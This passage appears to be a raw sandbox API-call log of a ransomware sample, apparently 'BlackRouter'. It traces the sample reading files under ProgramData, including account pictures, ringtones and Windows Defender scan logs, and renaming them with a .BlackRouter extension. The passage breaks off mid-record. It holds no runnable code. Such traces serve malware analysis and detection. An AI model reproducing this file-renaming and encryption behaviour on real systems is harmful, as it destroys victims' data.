lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.bmp"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xdbbe8550, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xc040)) returned 1 [0089.312] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.bmp"), lpNewFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp.BlackRouter" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.bmp.blackrouter")) returned 1 [0089.313] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0xc038 [0089.317] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.bmp"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xdbc0e6b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xc040)) returned 1 [0089.317] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.bmp"), lpNewFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp.BlackRouter" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.bmp.blackrouter")) returned 1 [0089.447] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0xc038 [0089.469] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0xc038 [0089.483] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0xc038 [0089.509] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0xbeb8 [0089.526] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0xc038 [0089.537] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0xc038 [0089.544] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0xc038 [0089.549] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0xc038 [0089.554] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0xc038 [0089.567] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0xc038 [0089.576] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0xc038 [0089.581] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0xc038 [0089.597] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0xc038 [0089.605] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0xc038 [0089.615] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0xc038 [0089.621] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0xc038 [0089.646] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0xc038 [0089.651] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0xc038 [0089.655] ReadFile (in: hFile=0x15c, lpBuffer=0x28cccc0, nNumberOfBytesToRead=0xc038, lpNumberOfBytesRead=0x1ae528, lpOverlapped=0x0 | out: lpBuffer=0x28cccc0*, lpNumberOfBytesRead=0x1ae528*=0xc038, lpOverlapped=0x0) returned 1 [0089.687] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0xc038 [0089.692] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0xc038 [0089.718] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0xc038 [0089.731] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0xc038 [0089.755] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0xc038 [0089.759] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0xc038 [0089.793] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0xc038 [0089.811] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0xc038 [0089.819] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0xc038 [0089.823] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0xc038 [0089.840] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0xc038 [0089.846] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0xc038 [0089.867] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0xc038 [0089.873] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0xc038 [0089.878] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0xc038 [0089.882] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0xc038 [0089.887] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0xc038 [0089.989] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x41f0 [0090.003] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report.html" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report.html"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9c91380, ftCreationTime.dwHighDateTime=0x1d2faf9, ftLastAccessTime.dwLowDateTime=0xd9c91380, ftLastAccessTime.dwHighDateTime=0x1d2faf9, ftLastWriteTime.dwLowDateTime=0xdc29a330, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x4200)) returned 1 [0090.003] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report.html" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report.html"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report.html.BlackRouter" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report.html.blackrouter")) returned 1 [0090.123] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x31469 [0090.146] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 01.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 01.wma"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80366a76, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xdc3f0f90, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x31470)) returned 1 [0090.146] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 01.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 01.wma"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 01.wma.BlackRouter" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 01.wma.blackrouter")) returned 1 [0090.147] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x21fbf [0090.170] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 02.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 02.wma"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xdc4170f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x21fc0)) returned 1 [0090.171] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 02.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 02.wma"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 02.wma.BlackRouter" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 02.wma.blackrouter")) returned 1 [0090.171] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x170f9 [0090.219] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 03.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 03.wma"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xdc489510, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x17100)) returned 1 [0090.220] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 03.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 03.wma"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 03.wma.BlackRouter" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 03.wma.blackrouter")) returned 1 [0090.221] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x3a039 [0090.259] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 04.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 04.wma"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80366a76, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xdc4fb930, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x3a040)) returned 1 [0090.260] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 04.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 04.wma"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 04.wma.BlackRouter" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 04.wma.blackrouter")) returned 1 [0090.260] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x1b6e1 [0090.276] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 05.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 05.wma"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80366a76, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xdc521a90, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1b6f0)) returned 1 [0090.276] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 05.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 05.wma"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 05.wma.BlackRouter" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 05.wma.blackrouter")) returned 1 [0090.277] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x170f9 [0090.287] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 06.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 06.wma"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xdc547bf0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x17100)) returned 1 [0090.287] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 06.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 06.wma"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 06.wma.BlackRouter" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 06.wma.blackrouter")) returned 1 [0090.287] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x170f9 [0090.300] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 07.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 07.wma"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80366a76, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xdc56dd50, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x17100)) returned 1 [0090.300] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 07.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 07.wma"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 07.wma.BlackRouter" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 07.wma.blackrouter")) returned 1 [0090.301] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x21fbd [0090.321] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 08.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 08.wma"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80366a76, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xdc593eb0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x21fc0)) returned 1 [0090.321] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 08.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 08.wma"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 08.wma.BlackRouter" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 08.wma.blackrouter")) returned 1 [0090.322] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x1b6e1 [0090.347] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 09.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 09.wma"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xdc5e0170, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1b6f0)) returned 1 [0090.347] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 09.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 09.wma"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 09.wma.BlackRouter" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 09.wma.blackrouter")) returned 1 [0090.348] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x170f9 [0090.359] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 10.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 10.wma"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xdc5e0170, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x17100)) returned 1 [0090.359] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 10.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 10.wma"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 10.wma.BlackRouter" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 10.wma.blackrouter")) returned 1 [0091.869] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0x2 [0091.869] ReadFile (in: hFile=0x15c, lpBuffer=0x28e1c00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ae3e8, lpOverlapped=0x0 | out: lpBuffer=0x28e1c00*, lpNumberOfBytesRead=0x1ae3e8*=0x2, lpOverlapped=0x0) returned 1 [0091.870] CloseHandle (hObject=0x15c) returned 1 [0091.872] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\History.Log" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\service\\history.log"), fInfoLevelId=0x0, lpFileInformation=0x1ae500 | out: lpFileInformation=0x1ae500*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb9820270, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb9820270, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xdd44e6d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0091.872] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\History.Log" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\service\\history.log"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\History.Log.BlackRouter" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\service\\history.log.blackrouter")) returned 1 [0091.873] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0x1a6e [0091.873] ReadFile (in: hFile=0x15c, lpBuffer=0x28e4898, nNumberOfBytesToRead=0x1a6e, lpNumberOfBytesRead=0x1ae3e8, lpOverlapped=0x0 | out: lpBuffer=0x28e4898*, lpNumberOfBytesRead=0x1ae3e8*=0x1a6e, lpOverlapped=0x0) returned 1 [0091.887] CloseHandle (hObject=0x15c) returned 1 [0091.889] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\Unknown.Log" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\service\\unknown.log"), fInfoLevelId=0x0, lpFileInformation=0x1ae500 | out: lpFileInformation=0x1ae500*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xadeed740, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xadeed740, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xdd474830, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1a70)) returned 1 [0091.889] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\Unknown.Log" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\service\\unknown.log"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\Unknown.Log.BlackRouter" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\service\\unknown.log.blackrouter")) returned 1 [0091.900] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x2fbca [0091.901] ReadFile (in: hFile=0x15c, lpBuffer=0x14a51e30, nNumberOfBytesToRead=0x2fbca, lpNumberOfBytesRead=0x1ae528, lpOverlapped=0x0 | out: lpBuffer=0x14a51e30*, lpNumberOfBytesRead=0x1ae528*=0x2fbca, lpOverlapped=0x0) returned 1 [0091.906] CloseHandle (hObject=0x15c) returned 1 [0091.917] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Support\\MPLog-07132009-221054.log" (normalized: "c:\\programdata\\microsoft\\windows defender\\support\\mplog-07132009-221054.log"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x76792c22, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x76792c22, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0xdd4c0af0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2fbd0)) returned 1 [0091.917] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Support\\MPLog-07132009-221054.log" (normalized: "c:\\programdata\\microsoft\\windows defender\\support\\mplog-07132009-221054.log"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Support\\MPLog-07132009-221054.log.BlackRouter" (normalized: "c:\\programdata\\microsoft\\windows defender\\support\\mplog-07132009-221054.log.blackrouter")) returned 1 [0092.286] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0x15dbe [0092.286] ReadFile (in: hFile=0x15c, lpBuffer=0x12bdcb50, nNumberOfBytesToRead=0x15dbe, lpNumberOfBytesRead=0x1ae3e8, lpOverlapped=0x0 | out: lpBuffer=0x12bdcb50*, lpNumberOfBytesRead=0x1ae3e8*=0x15dbe, lpOverlapped=0x0) returned 1 [0092.297] CloseHandle (hObject=0x15c) returned 1 [0092.306] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x7e148 [0092.307] ReadFile (in: hFile=0x15c, lpBuffer=0x14ab1640, nNumberOfBytesToRead=0x7e148, lpNumberOfBytesRead=0x1ae528, lpOverlapped=0x0 | out: lpBuffer=0x14ab1640*, lpNumberOfBytesRead=0x1ae528*=0x7e148, lpOverlapped=0x0) returned 1 [0092.328] CloseHandle (hObject=0x15c) returned 1 [0092.724] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0xa4 [0092.724] ReadFile (in: hFile=0x15c, lpBuffer=0x2930900, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ae5c8, lpOverlapped=0x0 | out: lpBuffer=0x2930900*, lpNumberOfBytesRead=0x1ae5c8*=0xa4, lpOverlapped=0x0) returned 1 [0092.725] CloseHandle (hObject=0x15c) returned 1 [0092.731] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Mozilla\\logs\\maintenanceservice-install.log" (normalized: "c:\\programdata\\mozilla\\logs\\maintenanceservice-install.log"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8556a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xddc7d270, ftLastWriteTime.dwHighDateTime=0x1d4a550, 